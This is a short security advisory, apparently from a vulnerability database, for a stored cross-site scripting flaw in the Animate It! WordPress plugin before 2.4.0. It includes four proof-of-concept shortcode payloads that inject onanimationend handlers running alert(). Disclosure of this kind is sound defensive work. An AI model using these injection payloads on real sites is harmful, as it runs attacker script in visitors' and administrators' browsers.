Animate It! < 2.4.0 – Contributor+ Stored Cross-Site Scripting

Description

The plugin has flawed validations and does not escape its shortcode argument, allowing users with a role as low as contributor to perform Cross-Site Scripting attacks via a malicious shortcode

Proof of Concept

v < 2.3.8
[edsanimate animation="attacker" delay='1" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/delay/)//']
[edsanimate animation="attacker" duration='1" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/duration/)//']

v < 2.4.0
[edsanimate animation='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/animation/)//']
[edsanimate animation="attacker" scroll_offset='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/scroll_offset/)//']